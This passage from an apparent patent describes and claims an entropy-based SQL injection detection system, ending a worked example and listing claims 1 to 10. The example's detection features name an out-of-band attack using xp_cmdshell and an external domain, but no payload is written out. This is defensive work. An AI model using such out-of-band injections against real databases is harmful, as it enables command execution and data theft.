[0123] d) Static entropy analysis Static anomaly scores were calculated as follows: character-level Shannon entropy 2.4, lexical-level entropy 6.5, local sliding window entropy change 2.1, and cross-parameter entropy difference 3.2. The character-level Shannon entropy of 2.4 is within the baseline range of normal comment content (μ=2.3, σ=0.5), with a standardized deviation of only 0.2. However, the lexical-level entropy (z=6.88), local sliding window entropy change (z=4.0), and cross-parameter entropy difference (z=3.75) all significantly deviated from the baseline. The weighted deviation score was calculated using the original data. Static anomaly after weighted normalization If the score exceeds the real-time detection threshold of 70 points, an immediate high-risk attack judgment is triggered.
[0124] e) Immediate Response and Handling Block the request directly and return an HTTP 403 error; record attack details (out-of-band injection, high-risk function xp_cmdshell, external domain attacher.com); add the source IP to the blacklist and push an alert to the operations and maintenance personnel, suggesting that they check whether the database xp_cmdshell function is enabled.
[0125] (4) Verification of detection effect Detection speed: Single request processing time is 15ms, achieving immediate blocking with no out-of-band data leakage; Accuracy: Accurately identifies the core features of out-of-band injection (high-risk functions + external domains) with no false positives.
[0126] In summary, this invention constructs a spatiotemporal collaborative detection framework combining instantaneous static entropy analysis and session-level temporal entropy spectrum analysis. It possesses both single-request deep semantic analysis and cross-request correlation detection capabilities, effectively identifying various advanced SQL injection attacks such as obfuscated, blind, sharded, and out-of-band attacks. It overcomes the limitations of traditional single-request, stateless detection methods, supports black-box deployment, can be seamlessly integrated into existing security infrastructure, and is adaptable to various application scenarios such as cloud-native and microservices, demonstrating strong engineering feasibility and scalability. By fusing instantaneous static entropy features with long-term temporal entropy spectrum features, combined with session-level dynamic context modeling and semantic consistency verification, this invention addresses the core pain points of existing SQL injection detection technologies, achieving the following technical effects: High detection rate: The detection rate of advanced SQL injection attacks such as obfuscated, time-based blind injection, sharded, and out-of-band attacks is ≥95%, and the detection rate of traditional injection attacks is no less than 99%, breaking through the detection bottleneck of existing technologies for complex attacks; Low false alarm rate: Through adaptive threshold adjustment, context factor fusion, and online learning baseline update, the false alarm rate on the standard test set is ≤1%, avoiding interference with normal business requests; High real-time performance: Single request processing time ≤20ms, session-level attacks are quickly identified after abnormal features accumulate, meeting the real-time protection requirements of enterprise-level network applications; Strong resistance to evasion: Full-link normalization processing can crack all common evasion methods such as code obfuscation, comment insertion, and case manipulation. Multi-scale time series analysis can identify cross-request collaborative attack characteristics. Attackers cannot bypass detection through a single evasion method or by fragmentation or slow methods. Excellent engineering feasibility: Supports black-box deployment, does not depend on the source code or database structure of the protected application, and can be seamlessly integrated into existing security infrastructure such as WAF, API gateway, and load balancer, adapting to various deployment scenarios such as cloud-native, microservices, and SaaS; Adaptability and scalability: Combining online learning with offline training, it can automatically adapt to the concept drift of application behavior, support custom feature extraction rules, response strategies, and detection thresholds, and can be flexibly configured according to enterprise business needs.
[0127] The scope of protection of this invention is not limited to the specific embodiments described above. All equivalent transformations or modifications made based on the technical concept of this invention should be included within the scope of protection of this invention. The core protection point of this invention is: 1. An SQL injection detection method that integrates instantaneous static entropy features and long-term temporal entropy spectrum features, including the construction of multidimensional static entropy vectors and the implementation of multi-scale time series analysis; 2. Methods for constructing and updating session-level dynamic context models, including core elements such as parameter profiling, navigation state machines, and historical entropy baselines; 3. A weighted linear fusion strategy for static anomaly scores, temporal anomaly scores, and contextual factors, and a dynamic adjustment logic for adaptive thresholds; 4. A modular detection system that implements the above method, including the functions of each module and the data interaction relationship.
[0128] Any SQL injection detection method, system, electronic device, or storage medium that employs the aforementioned core protection points, regardless of its form, falls within the scope of patent protection of this invention.
Claims
1. A method for detecting SQL injection that integrates instantaneous behavioral features and long-term evolutionary features, characterized in that, The method includes the following steps: Step 1: Capture all user requests flowing to the protected network application and synchronously record request metadata; Step 2: Perform end-to-end normalization processing on the captured plaintext requests; Step 3: Adopt a multi-dimensional session identification strategy to classify the requests after data normalization into the corresponding user sessions, and build a dynamic context model for each session; Step 4: Extract multi-dimensional feature vectors for each normalized request; wherein the multi-dimensional feature vectors include lexical features, structural statistical features, and semantic context features; Step 5: Calculate the static entropy vector based on the multi-dimensional feature vector, and then obtain the static anomaly score; Step 6: Set an instant detection threshold. If the static anomaly score is greater than or equal to the instant detection threshold, it is determined to be a high-risk instant attack, triggering an instant response and recording an alarm; otherwise, the static entropy vector is appended to the temporal entropy spectrum sequence of the corresponding session, and step 7 is executed. Step 7: Perform multi-scale time series analysis on the time entropy spectrum sequence using a sliding window mechanism to calculate time anomaly scores; the multi-scale time series analysis includes short-term oscillation detection, medium-term trend displacement detection, and long-term periodicity detection; Step 8: Use the dynamic context model to perform a semantic consistency check on the current request to further verify its legality. If semantic inconsistency or an invalid transfer path is found, increase the time anomaly score to correct it. Step 9: Combine the static anomaly score and the corrected time anomaly score with the context factor, and calculate the session risk score using a weighted linear fusion function; if the session risk score is greater than or equal to the adaptive session threshold, it is determined to be a session-level malicious attack and a graded response is triggered; otherwise, it is determined to be a benign request and is allowed to be forwarded to the backend application.
2. The method according to claim 1, characterized in that, The request metadata includes one or more of the following: request timestamp, source IP address, source port, destination URL, destination port, TLS session version and cipher suite, request method, cookie information, and User-Agent string.
3. The method according to claim 1, characterized in that, The multi-dimensional session identification strategy is as follows: first, determine whether the request contains an explicit session identifier; if so, associate it with the corresponding session; otherwise, create a temporary session based on "source IP, UA fingerprint, and destination domain name".
4. The method according to claim 1, characterized in that, The static entropy vector includes character-level Shannon entropy, lexical-level entropy, local sliding window entropy change within a field, and cross-parameter entropy difference.
5. The method according to claim 1, characterized in that, The dynamic context model includes basic information, request sequence, parameter profile, navigation state machine, and historical entropy baseline.
6. The method according to claim 1, characterized in that, The adaptive session threshold is dynamically adjusted based on the intra-session parameter variance, endpoint type, and historical false alarm rate.
7. The method according to claim 1, characterized in that, The short-term oscillation detection is as follows: calculate the coefficient of variation of the lexical entropy sequence within the sliding window, determine the short-term anomaly score based on the comparison result of the coefficient of variation and the preset threshold, combined with the trend of the local sliding window entropy change within the field within the sliding window, and then perform medium-term trend displacement detection. The intermediate trend displacement detection is as follows: the weighted slope of the character-level Shannon entropy sequence within the sliding window is calculated using exponentially weighted linear regression, the baseline displacement is calculated, the intermediate anomaly score is determined based on the positive and negative directions of the weighted slope and the comparison results between the baseline displacement and the preset threshold, and then long-term periodic detection is performed. The long-term periodic detection is performed by performing a discrete Fourier transform on the static abnormal sequence within the sliding window, calculating the energy proportion of the dominant frequency component, and determining the long-term abnormal score based on the comparison result of the energy proportion of the dominant frequency component with the threshold.
8. The method according to claim 1, characterized in that, The context factor is a weighted sum of scores from different dimensions, including endpoint trust level, source IP reputation, and historical false alarm rate.
9. The method according to claim 1, characterized in that, Also includes: After executing step 9, different levels of response are executed according to the session risk score. For the reviewed benign requests, online learning is performed to update the dynamic context model.
10. An SQL injection detection apparatus for implementing the method of any one of claims 1-8, characterized in that, include: The request capture module is responsible for capturing user requests and recording request metadata, and outputting the request content and metadata. The data normalization module is responsible for performing end-to-end normalization processing on plaintext requests and outputting normalized requests and copies of the original requests. The Session Association and Context Modeling module is responsible for classifying normalized requests into user sessions, building and updating dynamic context models, and outputting request and model data associated with session identifiers. The multidimensional feature extraction module is responsible for extracting multidimensional feature vectors from the normalized request and outputting the feature vectors. The static entropy analysis module is responsible for calculating the static entropy vector and static anomaly score based on multi-dimensional feature vectors. The real-time threshold determination module is responsible for comparing the static anomaly score with the real-time detection threshold to identify whether it is a high-risk real-time attack. The temporal entropy spectrum generation and multi-scale analysis module is responsible for performing multi-scale analysis on the temporal entropy spectrum sequence and calculating temporal anomalies. The semantic consistency and state verification module is responsible for performing semantic consistency checks and correcting time anomalies. The integrated scoring and adaptive decision-making module is responsible for calculating the session risk score, comparing it with the adaptive session threshold, and outputting the attack judgment result.